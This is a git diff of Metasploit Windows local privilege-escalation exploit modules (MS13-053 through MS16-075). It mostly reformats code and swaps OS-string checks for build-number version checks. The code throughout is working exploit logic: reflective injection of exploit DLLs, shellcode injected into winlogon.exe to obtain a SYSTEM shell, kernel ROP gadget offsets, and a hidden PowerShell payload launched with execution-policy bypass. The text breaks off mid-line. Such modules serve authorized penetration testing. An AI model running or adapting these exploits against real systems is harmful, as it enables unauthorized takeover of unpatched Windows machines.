b/modules/exploits/windows/local/ms13_053_schlamperei.rb index 5e2cd8606cfda..befebff80a329 100644 --- a/modules/exploits/windows/local/ms13_053_schlamperei.rb +++ b/modules/exploits/windows/local/ms13_053_schlamperei.rb @@ -36,7 +36,7 @@ def initialize(info = {}) 'Platform' => 'win', 'SessionTypes' => [ 'meterpreter' ], 'DefaultOptions' => { - 'EXITFUNC' => 'thread', + 'EXITFUNC' => 'thread' }, 'Targets' => [ [ 'Windows 7 SP0/SP1', {} ] @@ -68,12 +68,11 @@ def initialize(info = {}) end def check - os = sysinfo["OS"] - unless (os =~ /windows/i) + unless session.platform == 'windows' return Exploit::CheckCode::Safe end - file_path = expand_path("%windir%") << "\\system32\\win32k.sys" + file_path = expand_path('%windir%') << '\\system32\\win32k.sys' major, minor, build, revision, branch = file_version(file_path) vprint_status("win32k.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}") @@ -83,8 +82,8 @@ def check when 7601 if branch == 18 return Exploit::CheckCode::Appears if revision < 18176 - else - return Exploit::CheckCode::Appears if revision < 22348 + elsif revision < 22348 + return Exploit::CheckCode::Appears end end return Exploit::CheckCode::Safe @@ -95,26 +94,26 @@ def exploit fail_with(Failure::None, 'Session is already elevated') end - if sysinfo["Architecture"] == ARCH_X64 - fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported") + if sysinfo['Architecture'] == ARCH_X64 + fail_with(Failure::NoTarget, 'Running against 64-bit systems is not supported') end if check == Exploit::CheckCode::Safe - fail_with(Failure::NotVulnerable, "Exploit not available on this system") + fail_with(Failure::NotVulnerable, 'Exploit not available on this system') end - print_status("Launching notepad to host the exploit...") - notepad_process_pid = cmd_exec_get_pid("notepad.exe") + print_status('Launching notepad to host the exploit...') + notepad_process_pid = cmd_exec_get_pid('notepad.exe') begin process = client.sys.process.open(notepad_process_pid, PROCESS_ALL_ACCESS) print_good("Process #{process.pid} launched.") rescue Rex::Post::Meterpreter::RequestError - print_error("Operation failed. Hosting exploit in the current process...") + print_error('Operation failed. Hosting exploit in the current process...') process = client.sys.process.open end print_status("Reflectively injecting the exploit DLL into #{process.pid}...") - library_path = ::File.join(Msf::Config.data_directory, "exploits", "cve-2013-1300", "schlamperei.x86.dll") + library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2013-1300', 'schlamperei.x86.dll') library_path = ::File.expand_path(library_path) print_status("Injecting exploit into #{process.pid}...") @@ -124,18 +123,18 @@ def exploit client.railgun.kernel32.WaitForSingleObject(thread.handle, 5000) client.sys.process.each_process do |p| - if p['name'] == "winlogon.exe" - winlogon_pid = p['pid'] - print_status("Found winlogon.exe with PID #{winlogon_pid}") + next unless p['name'] == 'winlogon.exe' - if execute_shellcode(payload.encoded, nil, winlogon_pid) - print_good("Everything seems to have worked, cross your fingers and wait for a SYSTEM shell") - else - print_error("Failed to start payload thread") - end + winlogon_pid = p['pid'] + print_status("Found winlogon.exe with PID #{winlogon_pid}") - break + if execute_shellcode(payload.encoded, nil, winlogon_pid) + print_good('Everything seems to have worked, cross your fingers and wait for a SYSTEM shell') + else + print_error('Failed to start payload thread') end + + break end end end diff --git a/modules/exploits/windows/local/ms13_081_track_popup_menu.rb b/modules/exploits/windows/local/ms13_081_track_popup_menu.rb index e97e1cc3f0224..1ecaf609155f4 100644 --- a/modules/exploits/windows/local/ms13_081_track_popup_menu.rb +++ b/modules/exploits/windows/local/ms13_081_track_popup_menu.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## - class MetasploitModule < Msf::Exploit::Local Rank = AverageRanking @@ -13,64 +12,62 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Post::Windows::FileInfo include Msf::Post::Windows::ReflectiveDLLInjection - def initialize(info={}) - super(update_info(info, { - 'Name' => 'Windows TrackPopupMenuEx Win32k NULL Page', - 'Description' => %q{ - This module exploits a vulnerability in win32k.sys where under - specific conditions TrackPopupMenuEx will pass a NULL pointer to - the MNEndMenuState procedure. This module has been tested - successfully on Windows 7 SP0 and Windows 7 SP1. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ - 'Seth Gibson', # vulnerability discovery - 'Dan Zentner', # vulnerability discovery - 'Matias Soler', # vulnerability analysis - 'Spencer McIntyre' - ], - 'Arch' => ARCH_X86, - 'Platform' => 'win', - 'SessionTypes' => [ 'meterpreter' ], - 'DefaultOptions' => - { - 'EXITFUNC' => 'thread', - }, - 'Targets' => - [ - [ 'Windows 7 SP0/SP1', { } ] - ], - 'Payload' => + def initialize(info = {}) + super( + update_info( + info, { - 'Space' => 4096, - 'DisableNops' => true - }, - 'References' => - [ - [ 'CVE', '2013-3881' ], - [ 'OSVDB', '98212' ], - [ 'BID', '62830'], - [ 'MSB', 'MS13-081' ], - [ 'URL', 'http://endgame.com/news/microsoft-win32k-null-page-vulnerability-technical-analysis.html' ], - [ 'URL', 'http://immunityproducts.blogspot.com/2013/11/exploiting-cve-2013-3881-win32k-null.html' ] - ], - 'DisclosureDate' => '2013-10-08', - 'DefaultTarget' => 0, - 'Notes' => - { - 'Stability' => [ CRASH_OS_RESTARTS, ], - }, - })) + 'Name' => 'Windows TrackPopupMenuEx Win32k NULL Page', + 'Description' => %q{ + This module exploits a vulnerability in win32k.sys where under + specific conditions TrackPopupMenuEx will pass a NULL pointer to + the MNEndMenuState procedure. This module has been tested + successfully on Windows 7 SP0 and Windows 7 SP1. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Seth Gibson', # vulnerability discovery + 'Dan Zentner', # vulnerability discovery + 'Matias Soler', # vulnerability analysis + 'Spencer McIntyre' + ], + 'Arch' => ARCH_X86, + 'Platform' => 'win', + 'SessionTypes' => [ 'meterpreter' ], + 'DefaultOptions' => { + 'EXITFUNC' => 'thread' + }, + 'Targets' => [ + [ 'Windows 7 SP0/SP1', {} ] + ], + 'Payload' => { + 'Space' => 4096, + 'DisableNops' => true + }, + 'References' => [ + [ 'CVE', '2013-3881' ], + [ 'OSVDB', '98212' ], + [ 'BID', '62830'], + [ 'MSB', 'MS13-081' ], + [ 'URL', 'http://endgame.com/news/microsoft-win32k-null-page-vulnerability-technical-analysis.html' ], + [ 'URL', 'http://immunityproducts.blogspot.com/2013/11/exploiting-cve-2013-3881-win32k-null.html' ] + ], + 'DisclosureDate' => '2013-10-08', + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [ CRASH_OS_RESTARTS, ] + } + } + ) + ) end def check - os = sysinfo["OS"] - if (os =~ /windows/i) == nil + if session.platform != 'windows' return Exploit::CheckCode::Safe end - file_path = expand_path("%windir%") << "\\system32\\win32k.sys" + file_path = expand_path('%windir%') << '\\system32\\win32k.sys' major, minor, build, revision, branch = file_version(file_path) vprint_status("win32k.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}") @@ -91,22 +88,22 @@ def exploit end if check == Exploit::CheckCode::Safe - fail_with(Failure::NotVulnerable, "Exploit not available on this system.") + fail_with(Failure::NotVulnerable, 'Exploit not available on this system.') end - if sysinfo["Architecture"] == ARCH_X64 - fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported") + if sysinfo['Architecture'] == ARCH_X64 + fail_with(Failure::NoTarget, 'Running against 64-bit systems is not supported') end # invoke the exploit, passing in the address of the payload that # we want invoked on successful exploitation. - print_status("Reflectively injecting the exploit DLL and triggering the exploit...") + print_status('Reflectively injecting the exploit DLL and triggering the exploit...') encoded_payload = payload.encoded execute_dll( - ::File.join(Msf::Config.data_directory, "exploits", "cve-2013-3881", "cve-2013-3881.x86.dll"), + ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2013-3881', 'cve-2013-3881.x86.dll'), encoded_payload ) - print_good("Exploit finished, wait for (hopefully privileged) payload execution to complete.") + print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.') end end diff --git a/modules/exploits/windows/local/ms14_058_track_popup_menu.rb b/modules/exploits/windows/local/ms14_058_track_popup_menu.rb index cd401eea044f9..a9c6c84777788 100644 --- a/modules/exploits/windows/local/ms14_058_track_popup_menu.rb +++ b/modules/exploits/windows/local/ms14_058_track_popup_menu.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## - class MetasploitModule < Msf::Exploit::Local Rank = NormalRanking @@ -13,76 +12,73 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Post::Windows::FileInfo include Msf::Post::Windows::ReflectiveDLLInjection - def initialize(info={}) - super(update_info(info, { - 'Name' => 'Windows TrackPopupMenu Win32k NULL Pointer Dereference', - 'Description' => %q{ - This module exploits a NULL Pointer Dereference in win32k.sys, the vulnerability - can be triggered through the use of TrackPopupMenu. Under special conditions, the - NULL pointer dereference can be abused on xxxSendMessageTimeout to achieve arbitrary - code execution. This module has been tested successfully on Windows XP SP3, Windows - 2003 SP2, Windows 7 SP1 and Windows 2008 32bits. Also on Windows 7 SP1 and Windows - 2008 R2 SP1 64 bits. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ - 'Unknown', # vulnerability discovery and exploit in the wild - 'juan vazquez', # msf module (x86 target) - 'Spencer McIntyre', # msf module (x64 target) - 'OJ Reeves ' - ], - 'Arch' => [ ARCH_X86, ARCH_X64 ], - 'Platform' => 'win', - 'SessionTypes' => [ 'meterpreter' ], - 'DefaultOptions' => - { - 'EXITFUNC' => 'thread', - }, - 'Targets' => - [ - # Tested on (32 bits): - # * Windows XP SP3 - # * Windows 2003 SP2 - # * Windows 7 SP1 - # * Windows 2008 - [ 'Windows x86', { 'Arch' => ARCH_X86 } ], - # Tested on (64 bits): - # * Windows 7 SP1 - # * Windows 2008 R2 SP1 - [ 'Windows x64', { 'Arch' => ARCH_X64 } ] - ], - 'Payload' => - { - 'Space' => 4096, - 'DisableNops' => true - }, - 'References' => - [ - ['CVE', '2014-4113'], - ['OSVDB', '113167'], - ['BID', '70364'], - ['MSB', 'MS14-058'], - ['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/an-analysis-of-a-windows-kernel-mode-vulnerability-cve-2014-4113/'] - ], - 'DisclosureDate' => '2014-10-14', - 'DefaultTarget' => 0, - 'Notes' => + def initialize(info = {}) + super( + update_info( + info, { - 'Stability' => [ CRASH_OS_RESTARTS, ], - }, - })) + 'Name' => 'Windows TrackPopupMenu Win32k NULL Pointer Dereference', + 'Description' => %q{ + This module exploits a NULL Pointer Dereference in win32k.sys, the vulnerability + can be triggered through the use of TrackPopupMenu. Under special conditions, the + NULL pointer dereference can be abused on xxxSendMessageTimeout to achieve arbitrary + code execution. This module has been tested successfully on Windows XP SP3, Windows + 2003 SP2, Windows 7 SP1 and Windows 2008 32bits. Also on Windows 7 SP1 and Windows + 2008 R2 SP1 64 bits. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Unknown', # vulnerability discovery and exploit in the wild + 'juan vazquez', # msf module (x86 target) + 'Spencer McIntyre', # msf module (x64 target) + 'OJ Reeves ' + ], + 'Arch' => [ ARCH_X86, ARCH_X64 ], + 'Platform' => 'win', + 'SessionTypes' => [ 'meterpreter' ], + 'DefaultOptions' => { + 'EXITFUNC' => 'thread' + }, + 'Targets' => [ + # Tested on (32 bits): + # * Windows XP SP3 + # * Windows 2003 SP2 + # * Windows 7 SP1 + # * Windows 2008 + [ 'Windows x86', { 'Arch' => ARCH_X86 } ], + # Tested on (64 bits): + # * Windows 7 SP1 + # * Windows 2008 R2 SP1 + [ 'Windows x64', { 'Arch' => ARCH_X64 } ] + ], + 'Payload' => { + 'Space' => 4096, + 'DisableNops' => true + }, + 'References' => [ + ['CVE', '2014-4113'], + ['OSVDB', '113167'], + ['BID', '70364'], + ['MSB', 'MS14-058'], + ['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/an-analysis-of-a-windows-kernel-mode-vulnerability-cve-2014-4113/'] + ], + 'DisclosureDate' => '2014-10-14', + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [ CRASH_OS_RESTARTS, ] + } + } + ) + ) end def check - os = sysinfo["OS"] - - if os !~ /windows/i + if session.platform != 'windows' # Non-Windows systems are definitely not affected. return Exploit::CheckCode::Safe end - file_path = expand_path("%windir%") << "\\system32\\win32k.sys" + file_path = expand_path('%windir%') << '\\system32\\win32k.sys' major, minor, build, revision, branch = file_version(file_path) vprint_status("win32k.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}") @@ -101,18 +97,18 @@ def exploit end if check == Exploit::CheckCode::Safe - fail_with(Failure::NotVulnerable, "Exploit not available on this system.") + fail_with(Failure::NotVulnerable, 'Exploit not available on this system.') end - if sysinfo["Architecture"] == ARCH_X64 && session.arch == ARCH_X86 + if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86 fail_with(Failure::NoTarget, 'Running against WOW64 is not supported') - elsif sysinfo["Architecture"] == ARCH_X64 && target.arch.first == ARCH_X86 + elsif sysinfo['Architecture'] == ARCH_X64 && target.arch.first == ARCH_X86 fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86') - elsif sysinfo["Architecture"] == ARCH_X86 && target.arch.first == ARCH_X64 + elsif sysinfo['Architecture'] == ARCH_X86 && target.arch.first == ARCH_X64 fail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64') end - print_status("Reflectively injecting the exploit DLL and triggering the exploit...") + print_status('Reflectively injecting the exploit DLL and triggering the exploit...') if target.arch.first == ARCH_X86 dll_file_name = 'cve-2014-4113.x86.dll' else diff --git a/modules/exploits/windows/local/ms15_004_tswbproxy.rb b/modules/exploits/windows/local/ms15_004_tswbproxy.rb index e7acae96209cc..1c2d0c4720ca2 100644 --- a/modules/exploits/windows/local/ms15_004_tswbproxy.rb +++ b/modules/exploits/windows/local/ms15_004_tswbproxy.rb @@ -76,9 +76,9 @@ def check temp = get_env('WINDIR') dll_path = "#{temp}\\System32\\TSWbPrxy.exe" - win_ver = sysinfo['OS'] + version = get_version_info - unless win_ver =~ /Windows Vista|Windows 2008|Windows 2012|Windows [78]/ + unless version.build_number.between?(Msf::WindowsVersion::Vista_SP0, Msf::WindowsVersion::Server2012_R2) return Exploit::CheckCode::Safe end @@ -99,8 +99,8 @@ def exploit fail_with(Failure::NotVulnerable, 'Sorry, this module currently only allows x86/win32 sessions at the moment') end - win_ver = sysinfo['OS'] - if win_ver =~ /Windows 2012|Windows 8/ + version = get_version_info + if version.build_number.between?(Msf::WindowsVersion::Win8, Msf::WindowsVersion::Win81) fail_with(Failure::NotVulnerable, 'This module doesn\'t run on Windows 8/2012 at the moment') end @@ -113,7 +113,7 @@ def exploit cmd = cmd_psh_payload( payload.encoded, payload_instance.arch.first, - { :remove_comspec => true } + { remove_comspec: true } ) print_status('Storing payload on environment variable...') diff --git a/modules/exploits/windows/local/ms15_051_client_copy_image.rb b/modules/exploits/windows/local/ms15_051_client_copy_image.rb index a9775be03ed20..8d44364bf728e 100644 --- a/modules/exploits/windows/local/ms15_051_client_copy_image.rb +++ b/modules/exploits/windows/local/ms15_051_client_copy_image.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## - class MetasploitModule < Msf::Exploit::Local Rank = NormalRanking @@ -13,49 +12,53 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Post::Windows::FileInfo include Msf::Post::Windows::ReflectiveDLLInjection - def initialize(info={}) - super(update_info(info, { - 'Name' => 'Windows ClientCopyImage Win32k Exploit', - 'Description' => %q{ - This module exploits improper object handling in the win32k.sys kernel mode driver. - This module has been tested on vulnerable builds of Windows 7 x64 and x86, and - Windows 2008 R2 SP1 x64. - }, - 'License' => MSF_LICENSE, - 'Author' => [ - 'Unknown', # vulnerability discovery and exploit in the wild - 'hfirefox', # Code released on github - 'OJ Reeves', # msf module - 'Spencer McIntyre' # msf module - ], - 'Arch' => [ ARCH_X86, ARCH_X64 ], - 'Platform' => 'win', - 'SessionTypes' => [ 'meterpreter' ], - 'DefaultOptions' => { - 'EXITFUNC' => 'thread', - }, - 'Targets' => [ - [ 'Windows x86', { 'Arch' => ARCH_X86 } ], - [ 'Windows x64', { 'Arch' => ARCH_X64 } ] - ], - 'Payload' => { - 'Space' => 4096, - 'DisableNops' => true - }, - 'References' => [ - ['CVE', '2015-1701'], - ['MSB', 'MS15-051'], - ['URL', 'https://www.fireeye.com/blog/threat-research/2015/04/probable_apt28_useo.html'], - ['URL', 'https://github.com/hfiref0x/CVE-2015-1701'], - ['URL', 'https://technet.microsoft.com/library/security/MS15-051'] - ], - 'DisclosureDate' => '2015-05-12', - 'DefaultTarget' => 0, - 'Notes' => + def initialize(info = {}) + super( + update_info( + info, { - 'Stability' => [ CRASH_OS_RESTARTS, ], - }, - })) + 'Name' => 'Windows ClientCopyImage Win32k Exploit', + 'Description' => %q{ + This module exploits improper object handling in the win32k.sys kernel mode driver. + This module has been tested on vulnerable builds of Windows 7 x64 and x86, and + Windows 2008 R2 SP1 x64. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Unknown', # vulnerability discovery and exploit in the wild + 'hfirefox', # Code released on github + 'OJ Reeves', # msf module + 'Spencer McIntyre' # msf module + ], + 'Arch' => [ ARCH_X86, ARCH_X64 ], + 'Platform' => 'win', + 'SessionTypes' => [ 'meterpreter' ], + 'DefaultOptions' => { + 'EXITFUNC' => 'thread' + }, + 'Targets' => [ + [ 'Windows x86', { 'Arch' => ARCH_X86 } ], + [ 'Windows x64', { 'Arch' => ARCH_X64 } ] + ], + 'Payload' => { + 'Space' => 4096, + 'DisableNops' => true + }, + 'References' => [ + ['CVE', '2015-1701'], + ['MSB', 'MS15-051'], + ['URL', 'https://www.fireeye.com/blog/threat-research/2015/04/probable_apt28_useo.html'], + ['URL', 'https://github.com/hfiref0x/CVE-2015-1701'], + ['URL', 'https://technet.microsoft.com/library/security/MS15-051'] + ], + 'DisclosureDate' => '2015-05-12', + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [ CRASH_OS_RESTARTS, ] + } + } + ) + ) end def check @@ -69,7 +72,7 @@ def check # Windows Server 2008 R2 (64-bit) SP1 6.1.7601.17514 (Works) # Windows Server 2008 R2 (64-bit) SP1 6.1.7601.18105 (Works) - if sysinfo['OS'] !~ /windows/i + unless session.platform == 'windows' return Exploit::CheckCode::Unknown end @@ -104,7 +107,7 @@ def exploit fail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64') end - print_status("Reflectively injecting the exploit DLL and executing it...") + print_status('Reflectively injecting the exploit DLL and executing it...') if target.arch.first == ARCH_X86 dll_file_name = 'cve-2015-1701.x86.dll' else diff --git a/modules/exploits/windows/local/ms15_078_atmfd_bof.rb b/modules/exploits/windows/local/ms15_078_atmfd_bof.rb index 1601c0f65d9a1..1702730ff3453 100644 --- a/modules/exploits/windows/local/ms15_078_atmfd_bof.rb +++ b/modules/exploits/windows/local/ms15_078_atmfd_bof.rb @@ -13,14 +13,14 @@ class MetasploitModule < Msf::Exploit::Local '6.3.9600.17796', '6.3.9600.17837', '6.3.9600.17915' - ] + ].freeze NT_VERSIONS = [ '6.3.9600.17415', '6.3.9600.17630', '6.3.9600.17668', '6.3.9600.17936' - ] + ].freeze include Msf::Post::File include Msf::Post::Windows::Priv @@ -51,7 +51,7 @@ def initialize(info = {}) 'Platform' => 'win', 'SessionTypes' => [ 'meterpreter' ], 'DefaultOptions' => { - 'EXITFUNC' => 'thread', + 'EXITFUNC' => 'thread' }, 'Targets' => [ [ 'Windows 8.1 x64', {} ] @@ -122,7 +122,7 @@ def patch_win32k_offsets(dll) end def set_win32k_offsets - @win32k_offsets ||= Proc.new do |version| + @set_win32k_offsets ||= proc do |version| case version when '6.3.9600.17393' { @@ -227,8 +227,6 @@ def set_win32k_offsets 'xchg_rax_rsp_adjust' => 0x15e5fc, # xchg esp, eax # rol byte ptr [rcx-75h], 0c0h # add rsp, 28h # ret # 94 c0 41 8b c0 48 83 c4 28 c3 'chwnd_delete' => 0x15A220 # CHwndTargetProp::Delete } - else - nil end end.call(@win32k) end @@ -245,7 +243,7 @@ def patch_nt_offsets(dll) end def set_nt_offsets - @nt_offsets ||= Proc.new do |version| + @set_nt_offsets ||= proc do |version| case version when '6.3.9600.17415' { @@ -267,8 +265,6 @@ def set_nt_offsets 'set_cr4' => 0x3863bc, # mov cr4, rax # add rsp, 28h # ret # 0F 22 E0 48 83 C4 28 C3 'allocate_pool_with_tag' => 0x29FA50 # ExAllocatePoolWithTag } - else - nil end end.call(@ntoskrnl) end @@ -308,7 +304,8 @@ def ntoskrnl_version def check # We have tested only windows 8.1 - if sysinfo['OS'] !~ /Windows 8/i + version = get_version_info + unless version.build_number != Msf::WindowsVersion::Win81 && !version.windows_server? return Exploit::CheckCode::Unknown end diff --git a/modules/exploits/windows/local/ms16_014_wmi_recv_notif.rb b/modules/exploits/windows/local/ms16_014_wmi_recv_notif.rb index 78de28eda4a81..2a392a5da2973 100644 --- a/modules/exploits/windows/local/ms16_014_wmi_recv_notif.rb +++ b/modules/exploits/windows/local/ms16_014_wmi_recv_notif.rb @@ -13,55 +13,57 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Post::Windows::ReflectiveDLLInjection def initialize(info = {}) - super(update_info(info, - 'Name' => 'Windows WMI Receive Notification Exploit', - 'Description' => %q( - This module exploits an uninitialized stack variable in the WMI subsystem of ntoskrnl. - This module has been tested on vulnerable builds of Windows 7 SP0 x64 and Windows 7 SP1 x64. - ), - 'License' => MSF_LICENSE, - 'Author' => [ - 'smmrootkit', # crash code - 'de7ec7ed', # exploit code - 'de7ec7ed', # msf module - ], - 'Arch' => [ARCH_X64], - 'Platform' => 'win', - 'SessionTypes' => ['meterpreter'], - 'DefaultOptions' => { - 'EXITFUNC' => 'thread' - }, - 'Targets' => [ - ['Windows 7 SP0/SP1', { 'Arch' => ARCH_X64 }] - ], - 'Payload' => { - 'Space' => 4096, - 'DisableNops' => true - }, - 'References' => [ - ['CVE', '2016-0040'], - ['MSB', 'MS16-014'], - ['URL', 'https://github.com/de7ec7ed/CVE-2016-0040'], - ['URL', 'https://github.com/Rootkitsmm/cve-2016-0040'], - ['URL', 'https://technet.microsoft.com/en-us/library/security/ms16-014.aspx'] - ], - 'DisclosureDate' => '2015-12-04', - 'DefaultTarget' => 0) + super( + update_info( + info, + 'Name' => 'Windows WMI Receive Notification Exploit', + 'Description' => %q{ + This module exploits an uninitialized stack variable in the WMI subsystem of ntoskrnl. + This module has been tested on vulnerable builds of Windows 7 SP0 x64 and Windows 7 SP1 x64. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'smmrootkit', # crash code + 'de7ec7ed', # exploit code + 'de7ec7ed', # msf module + ], + 'Arch' => [ARCH_X64], + 'Platform' => 'win', + 'SessionTypes' => ['meterpreter'], + 'DefaultOptions' => { + 'EXITFUNC' => 'thread' + }, + 'Targets' => [ + ['Windows 7 SP0/SP1', { 'Arch' => ARCH_X64 }] + ], + 'Payload' => { + 'Space' => 4096, + 'DisableNops' => true + }, + 'References' => [ + ['CVE', '2016-0040'], + ['MSB', 'MS16-014'], + ['URL', 'https://github.com/de7ec7ed/CVE-2016-0040'], + ['URL', 'https://github.com/Rootkitsmm/cve-2016-0040'], + ['URL', 'https://technet.microsoft.com/en-us/library/security/ms16-014.aspx'] + ], + 'DisclosureDate' => '2015-12-04', + 'DefaultTarget' => 0 + ) ) end def check # Windows 7 SP0/SP1 (64-bit) - if sysinfo['OS'] !~ /windows/i + unless session.platform == 'windows' return Exploit::CheckCode::Unknown end - file_path = expand_path('%windir%') << '\\system32\\ntoskrnl.exe' - major, minor, build, revision, branch = file_version(file_path) - vprint_status("ntoskrnl.exe file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}") + version = get_version_info + vprint_status("OS Version: #{version.product_name}") - return Exploit::CheckCode::Safe if build > 7601 + return Exploit::CheckCode::Safe unless version.build_number.between?(Msf::WindowsVersion::Win7_SP0, Msf::WindowsVersion::Win7_SP1) && version.workstation? return Exploit::CheckCode::Appears end @@ -89,6 +91,6 @@ def exploit encoded_payload ) - print_good("Exploit finished, wait for (hopefully privileged) payload execution to complete.") + print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.') end end diff --git a/modules/exploits/windows/local/ms16_032_secondary_logon_handle_privesc.rb b/modules/exploits/windows/local/ms16_032_secondary_logon_handle_privesc.rb index 01eec0e4d83ab..e4ea5de623f2a 100644 --- a/modules/exploits/windows/local/ms16_032_secondary_logon_handle_privesc.rb +++ b/modules/exploits/windows/local/ms16_032_secondary_logon_handle_privesc.rb @@ -81,9 +81,7 @@ def initialize(info = {}) end def check - os = sysinfo["OS"] - - if os !~ /win/i + unless session.platform == 'windows' # Non-Windows systems are definitely not affected. return Exploit::CheckCode::Safe end @@ -103,7 +101,7 @@ def exploit end if check == Exploit::CheckCode::Safe - fail_with(Failure::NotVulnerable, "Target is not vulnerable") + fail_with(Failure::NotVulnerable, 'Target is not vulnerable') end # Exploit PoC from 'b33f' @@ -116,9 +114,9 @@ def exploit payload_arch = framework.payloads.create(datastore['PAYLOAD']).arch.first if sysinfo['Architecture'] == ARCH_X64 && payload_arch == ARCH_X86 - cmdstr.gsub!("System32", "SYSWOW64") - print_warning("Executing 32-bit payload on 64-bit ARCH, using SYSWOW64 powershell") - vprint_warning("#{cmdstr}") + cmdstr.gsub!('System32', 'SYSWOW64') + print_warning('Executing 32-bit payload on 64-bit ARCH, using SYSWOW64 powershell') + vprint_warning(cmdstr.to_s) end template_path = Rex::Powershell::Templates::TEMPLATE_DIR @@ -126,41 +124,41 @@ def exploit psh_payload = compress_script(psh_payload) - @upfile = Rex::Text.rand_text_alpha((rand(8) + 6)) + ".ps1" + @upfile = Rex::Text.rand_text_alpha(rand(6..13)) + '.ps1' path = datastore['W_PATH'] || expand_path('%TEMP%') @upfile = "#{path}\\#{@upfile}" - fd = session.fs.file.new(@upfile, "wb") + fd = session.fs.file.new(@upfile, 'wb') print_status("Writing payload file, #{@upfile}...") fd.write(psh_payload) fd.close psh_cmd = " -exec Bypass -nonI -window Hidden #{@upfile}" # lpAppName - ms16_032.gsub!("$cmd", "\"#{cmdstr}\"") + ms16_032.gsub!('$cmd', "\"#{cmdstr}\"") # lpcommandLine - capped at 1024b - ms16_032.gsub!("$args1", "\"#{psh_cmd}\"") + ms16_032.gsub!('$args1', "\"#{psh_cmd}\"") end_flag = Rex::Text.rand_text_alphanumeric(32) - ms16_032.gsub!("$end", end_flag) + ms16_032.gsub!('$end', end_flag) print_status('Compressing script contents...') ms16_032_c = compress_script(ms16_032) if ms16_032_c.size > 8100 print_error("Compressed size: #{ms16_032_c.size}") - error_msg = "Compressed size may cause command to exceed " + error_msg = 'Compressed size may cause command to exceed ' error_msg += "cmd.exe's 8kB character limit." print_error(error_msg) else print_good("Compressed size: #{ms16_032_c.size}") end - print_status("Executing exploit script...") + print_status('Executing exploit script...') cmd = expand_path('%windir%') if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86 - cmd += "\\Sysnative" + cmd += '\\Sysnative' else - cmd += "\\System32" + cmd += '\\System32' end cmd += "\\windowspowershell\\v1.0\\powershell.exe -exec Bypass -nonI -window Hidden \"#{ms16_032_c}\"" @@ -180,9 +178,9 @@ def exploit r.channel.close r.close - print_good("Executed on target machine.") - rescue - print_error("An error occurred executing the script.") + print_good('Executed on target machine.') + rescue StandardError + print_error('An error occurred executing the script.') end end diff --git a/modules/exploits/windows/local/ms16_075_reflection_juicy.rb b/modules/exploits/windows/local/ms16_075_reflection_juicy.rb index 4b48cc9e426dc..00785ad1e6718 100644 --- a/modules/exploits/windows/local/ms16_075_reflection_juicy.rb +++ b/modules/exploits/windows/local/ms16_075_reflection_juicy.rb @@ -95,9 +95,9 @@ def initialize(info = {}) def create_temp_proc windir = client.sys.config.getenv('windir') # Select path of executable to run depending the architecture - if sysinfo["Architecture"] == ARCH_X64 && client.arch == ARCH_X86 && @payload_arch.first == ARCH_X64 + if sysinfo['Architecture'] == ARCH_X64 && client.arch == ARCH_X86 && @payload_arch.first == ARCH_X64 cmd = "#{windir}\\Sysnative\\notepad.exe" - elsif sysinfo["Architecture"] == ARCH_X64 && client.arch == ARCH_X64 && @payload_arch.first == ARCH_X86 + elsif sysinfo['Architecture'] == ARCH_X64 && client.arch == ARCH_X64 && @payload_arch.first == ARCH_X86 cmd = "#{windir}\\SysWOW64\\notepad.exe" else cmd = "#{windir}\\System32\\notepad.exe" @@ -123,35 +123,18 @@ def create_temp_proc_stage2 end def check - os = client.sys.config.sysinfo['OS'] - build = os.match(/Build (\d+)/) privs = client.sys.config.getprivs # Fast fails if !privs.include?('SeImpersonatePrivilege') print_bad('Target session is missing the SeImpersonatePrivilege.') return Exploit::CheckCode::Safe end - if (os =~ /NT|XP|2003|.NET Server/) || (os =~ /2008/ && os !~ /2008 R2/) - print_bad('Microsoft Windows before Server 2008 R2 are not vulnerable.') + version = get_version_info + unless version.build_number.between?(Msf::WindowsVersion::Server2008_R2_SP0, Msf::WindowsVersion::Win10_1803) + print_bad("System not vulnerable (#{version.product_name})") return Exploit::CheckCode::Safe end - # Windows 10 after build 17134 (April 2018 update, version 1803) is not - # vulnerable. Due to changes in OS names, detecting the difference between - # Server 2016/19 is most reliably done with build numbers: - # (https://github.com/rapid7/metasploit-payloads/pull/355) - if build.nil? - print_warning('Could not determine Windows build number - exploiting might fail.') - else - build_number = build[1].to_i - if build_number > 17134 - print_bad("Target appears to be patched (#{os})") - return Exploit::CheckCode::Safe - elsif build_number < 7601 - print_bad("Target appears to be too old (#{os})") - return Exploit::CheckCode::Safe - end - end - print_good("Target appears to be vulnerable (#{os})") + print_good("Target appears to be vulnerable (#{version.product_name})") return Exploit::CheckCode::Appears end @@ -162,7 +145,7 @@ def exploit @payload_name = datastore['PAYLOAD'] @payload_arch = 